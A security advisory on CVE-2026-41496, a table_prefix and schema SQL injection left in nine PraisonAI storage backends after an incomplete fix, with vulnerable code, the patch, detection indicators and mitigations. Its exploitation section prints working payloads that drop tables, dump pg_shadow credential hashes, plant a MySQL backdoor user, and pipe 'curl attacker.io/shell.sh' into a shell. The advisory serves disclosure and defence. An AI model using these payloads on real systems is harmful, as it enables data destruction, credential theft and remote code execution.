CVE-2026-41496: SQL Injection Across Nine PraisonAI Storage Backends
PraisonAI's partial fix for CVE-2026-40315 left nine storage backends vulnerable to table_prefix SQL injection. 52 unsanitized injection points remain across MySQL, PostgreSQL, async variants, Turso, SingleStore, Supabase, and SurrealDB.
PraisonAI is software that helps businesses automate tasks using artificial intelligence. Think of it like hiring a team of digital assistants to handle routine work. Unfortunately, researchers found a serious lock-pick in certain versions that lets attackers break into the databases these systems protect.
Here's what went wrong. When PraisonAI sets up its database, it uses something called a "table prefix" — basically a label to organize different parts of the database. The problem is the software never checks whether this label is actually legitimate. It's like leaving your front door key under the mat because you assumed thieves wouldn't look there.
An attacker can inject malicious commands into this prefix field, forcing the database to execute whatever instructions the hacker wants. Once inside, they can steal sensitive data, delete information, or crash the system entirely. This affects companies using multiple database systems — MySQL, PostgreSQL, Supabase, and five others.
Who's actually at risk? Companies running PraisonAI or praisonaiagents versions before 4.6.9 should worry most. If you work for a business using AI automation tools, there's a chance this could be relevant to your infrastructure.
The good news: there's no evidence anyone has actively exploited this yet, giving people a window to patch before trouble arrives.
What should you do? First, check if your organization uses PraisonAI — ask your IT department or whoever manages your AI tools. Second, push them to update to version 4.6.9 or newer immediately. Third, if your company can't update right away, ask about temporary security measures that could limit database access.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41496 is an incomplete remediation. When the PraisonAI team patched CVE-2026-40315, they applied input validation to exactly one backend: SQLiteConversationStore. The nine sibling backends — each sharing the same f-string SQL construction pattern — received no changes. An attacker controlling table_prefix can inject arbitrary SQL into any of these backends. postgres.py also exposes a second injection surface via an unvalidated schema parameter used directly in DDL statements. CVSS 8.1 (HIGH); exploitable by any caller that can influence agent initialization parameters.
Root cause: The CVE-2026-40315 patch introduced input validation only in SQLiteConversationStore.__init__, leaving nine structurally identical backends to concatenate attacker-controlled table_prefix and schema values directly into f-string SQL without sanitization.
Affected Component
All files live under praisonaiagents/memory/. Affected backends prior to praisonaiagents==1.6.9 / praisonai==4.6.9:
The core pattern appears in every affected backend. Below is a representative reconstruction from mysql.py and postgres.py showing the exact insertion points:
# mysql.py — MySQLConversationStore.__init__ (VULNERABLE, pre-4.6.9)
class MySQLConversationStore:
def __init__(self, connection_string: str, table_prefix: str = "praison"):
self.table_prefix = table_prefix # BUG: no validation applied here
self._conn = connect(connection_string)
self._init_tables()
def _init_tables(self):
# BUG: table_prefix concatenated directly into DDL via f-string
self._conn.execute(f"""
CREATE TABLE IF NOT EXISTS {self.table_prefix}_conversations (
id VARCHAR(255) PRIMARY KEY,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
""")
self._conn.execute(f"""
CREATE TABLE IF NOT EXISTS {self.table_prefix}_messages (
id INT AUTO_INCREMENT PRIMARY KEY,
conversation_id VARCHAR(255),
role VARCHAR(50),
content TEXT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
""")
def get_messages(self, conversation_id: str):
# BUG: same unsanitized table_prefix in DML
return self._conn.execute(f"""
SELECT role, content FROM {self.table_prefix}_messages
WHERE conversation_id = %s ORDER BY timestamp ASC
""", (conversation_id,)).fetchall()
def save_message(self, conversation_id: str, role: str, content: str):
# BUG: injection point #3 in this file alone
self._conn.execute(f"""
INSERT INTO {self.table_prefix}_messages
(conversation_id, role, content) VALUES (%s, %s, %s)
""", (conversation_id, role, content))
# postgres.py — PostgreSQLConversationStore (VULNERABLE, pre-4.6.9)
# Additional attack surface: unvalidated `schema` parameter in DDL
class PostgreSQLConversationStore:
def __init__(
self,
connection_string: str,
table_prefix: str = "praison",
schema: str = "public" # BUG: second unvalidated parameter
):
self.table_prefix = table_prefix # BUG: no validation
self.schema = schema # BUG: no validation
self._init_tables()
def _init_tables(self):
# BUG: both schema and table_prefix hit DDL without sanitization
self._conn.execute(f"CREATE SCHEMA IF NOT EXISTS {self.schema}")
self._conn.execute(f"""
CREATE TABLE IF NOT EXISTS {self.schema}.{self.table_prefix}_messages (
id SERIAL PRIMARY KEY,
conversation_id TEXT,
role TEXT,
content TEXT
)
""")
def search_messages(self, query: str, conversation_id: str):
# BUG: injection point — schema and table_prefix both unsanitized
return self._conn.execute(f"""
SELECT role, content
FROM {self.schema}.{self.table_prefix}_messages
WHERE conversation_id = %s AND content ILIKE %s
""", (conversation_id, f"%{query}%")).fetchall()
Compare against the patchedSQLiteConversationStore that should have been the template for all backends:
# sqlite.py — SQLiteConversationStore.__init__ (PATCHED, post-CVE-2026-40315)
import re
_TABLE_PREFIX_RE = re.compile(r'^[A-Za-z0-9_]{1,64}$')
class SQLiteConversationStore:
def __init__(self, db_path: str, table_prefix: str = "praison"):
if not _TABLE_PREFIX_RE.match(table_prefix):
raise ValueError(f"Invalid table_prefix: {table_prefix!r}")
self.table_prefix = table_prefix
# ... rest of init
The fix existed. It was never propagated. Nine backends continued to use raw f-string interpolation in all SQL-constructing methods.
Exploitation Mechanics
Because table_prefix and schema land in DDL (CREATE TABLE, CREATE SCHEMA) and DML (SELECT, INSERT, DELETE) contexts without quoting or parameterization, the injection semantics differ from classic value-position injection but are equally powerful. An attacker does not need to escape quotes — the identifier context is already unquoted.
EXPLOIT CHAIN (PostgreSQL backend, schema injection):
1. Attacker supplies agent configuration with crafted schema parameter:
schema = "public; DROP TABLE public.praison_messages--"
2. PraisonAI constructs PostgreSQLConversationStore:
PostgreSQLConversationStore(conn_str,
table_prefix="praison",
schema="public; DROP TABLE public.praison_messages--")
3. _init_tables() executes:
self._conn.execute(
"CREATE SCHEMA IF NOT EXISTS public; DROP TABLE public.praison_messages--"
)
↑ Two statements execute; second drops production message history.
4. For data exfiltration, attacker supplies:
table_prefix = "x UNION SELECT usename,passwd,null FROM pg_shadow--"
5. search_messages() executes:
SELECT role, content
FROM public.x UNION SELECT usename,passwd,null FROM pg_shadow--_messages
WHERE conversation_id = $1 AND content ILIKE $2
↑ Returns PostgreSQL credential hashes in role/content fields.
6. For remote code execution (PostgreSQL superuser context):
table_prefix = "x; COPY (SELECT '') TO PROGRAM 'curl attacker.io/shell.sh|sh'--"
7. Any DML operation (save_message, get_messages) triggers OS command execution.
EXPLOIT CHAIN (MySQL backend, table_prefix injection):
1. Attacker controls agent initialization JSON/YAML (e.g., via API, config file,
or multi-agent orchestration parameter passing):
{"table_prefix": "t; INSERT INTO mysql.user(User,Host,authentication_string)
VALUES('backdoor','%',PASSWORD('pwned')); FLUSH PRIVILEGES--"}
2. MySQLConversationStore._init_tables() fires on agent startup.
3. Injected payload executes in CREATE TABLE context; MySQL user added.
4. Attacker authenticates to MySQL with planted credentials.
Memory Layout
This is not a memory-corruption vulnerability — the impact surface is SQL statement construction at the Python layer. The relevant "layout" is the f-string interpolation pipeline and how attacker data propagates through it:
PARAMETER FLOW — postgres.py (pre-patch):
Agent config (YAML/JSON/API)
│
▼
table_prefix = "injected_payload" ← attacker entry point
schema = "injected_schema" ← second attacker entry point
│
▼
PostgreSQLConversationStore.__init__
[NO VALIDATION]
│
├─► _init_tables()
│ f"CREATE SCHEMA IF NOT EXISTS {self.schema}"
│ ^^^^^^^^^^^^
│ f"CREATE TABLE IF NOT EXISTS {self.schema}.{self.table_prefix}_messages"
│ ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^
│
├─► save_message()
│ f"INSERT INTO {self.schema}.{self.table_prefix}_messages ..."
│
├─► get_messages()
│ f"SELECT ... FROM {self.schema}.{self.table_prefix}_messages ..."
│
└─► search_messages() ← 6 total injection points per backend
f"SELECT ... FROM {self.schema}.{self.table_prefix}_messages ..."
Injection points per backend: ~5-6
Backends affected: 9
Additional schema surface: 1 (postgres.py only)
─────────────────────────────────
Total unsanitized f-string SQL: 52
Patch Analysis
The fix in praisonaiagents==1.6.9 propagates the allowlist regex validation that existed in sqlite.py to all nine affected backends. postgres.py receives an additional validator for schema.
# BEFORE (vulnerable — mysql.py, postgres.py, and 7 other backends):
class MySQLConversationStore:
def __init__(self, connection_string: str, table_prefix: str = "praison"):
self.table_prefix = table_prefix # raw assignment, no check
self._conn = connect(connection_string)
self._init_tables()
class PostgreSQLConversationStore:
def __init__(self, connection_string: str,
table_prefix: str = "praison",
schema: str = "public"):
self.table_prefix = table_prefix # raw assignment
self.schema = schema # raw assignment — extra surface
self._init_tables()
# AFTER (patched — praisonaiagents 1.6.9):
import re
_IDENTIFIER_RE = re.compile(r'^[A-Za-z0-9_]{1,64}$')
def _validate_identifier(value: str, param_name: str) -> str:
if not _IDENTIFIER_RE.match(value):
raise ValueError(
f"Invalid {param_name} {value!r}: "
"must be 1-64 alphanumeric/underscore characters"
)
return value
class MySQLConversationStore:
def __init__(self, connection_string: str, table_prefix: str = "praison"):
self.table_prefix = _validate_identifier(table_prefix, "table_prefix")
self._conn = connect(connection_string)
self._init_tables()
class PostgreSQLConversationStore:
def __init__(self, connection_string: str,
table_prefix: str = "praison",
schema: str = "public"):
self.table_prefix = _validate_identifier(table_prefix, "table_prefix")
self.schema = _validate_identifier(schema, "schema")
self._init_tables()
# Applied identically to: sqlite_async.py, mysql_async.py, postgres_async.py,
# turso.py, singlestore.py, supabase.py, surrealdb.py
The patch is a strict allowlist — only [A-Za-z0-9_], max 64 characters. Any injection payload containing semicolons, spaces, hyphens, or SQL keywords will raise ValueError at object construction time, before any SQL is ever executed. This is the correct fix: fail early, fail loudly, never reach the database driver with unsanitized identifiers.
Note what the patch intentionally does not do: it does not attempt to quote/escape identifiers using psycopg2.sql.Identifier or equivalent. The allowlist approach is strictly safer — quoting can be bypassed in edge cases depending on driver version and collation; allowlisting cannot.
Detection and Indicators
Because injection occurs in DDL and identifier position rather than value position, standard WAF signatures are largely ineffective. Detection must occur at the application or database audit layer.
DATABASE AUDIT INDICATORS:
PostgreSQL pg_audit / MySQL general_log:
- CREATE SCHEMA statements containing semicolons
- CREATE TABLE IF NOT EXISTS with non-standard identifier characters
- UNION SELECT appearing in table name position
- COPY ... TO PROGRAM in DDL context
- Unexpected entries in pg_shadow, mysql.user
APPLICATION-LAYER INDICATORS:
- ValueError exceptions from _validate_identifier() in logs
(post-patch — indicates attempted exploitation against patched instance)
- Agent initialization parameters with table_prefix/schema values
containing: semicolons, spaces, hyphens, quotes, SQL keywords
- Unexpected tables created in database with garbled names
- New database users created near agent initialization events
GREP FOR VULNERABLE PATTERN (pre-patch audit):
grep -rn "f\".*{self\.table_prefix}" praisonaiagents/memory/
grep -rn "f\".*{self\.schema}" praisonaiagents/memory/
# Should return 0 results in patched codebase
If immediate upgrade is not possible, the following mitigations reduce exposure:
Enforce table_prefix and schema parameters from trusted configuration only — never accept them from user-supplied input, API parameters, or agent-passed data.
Apply database-level least-privilege: the PraisonAI database user should not have CREATE, DROP, COPY TO PROGRAM, or GRANT permissions in production. This limits blast radius but does not eliminate injection.
Enable database audit logging (pg_audit for PostgreSQL, general_log for MySQL) and alert on unexpected DDL from the application service account.
If running a multi-tenant PraisonAI deployment where agents can specify their own storage backends, treat this as a critical priority — attacker control of table_prefix is trivial in that model.
The broader lesson is mechanical: when a vulnerability is fixed in one component of a family of structurally identical components, the fix must be audited for completeness across the entire family. A grep for the vulnerable pattern at patch time would have caught all 52 injection points. It did not happen. CVE-2026-41496 is the consequence.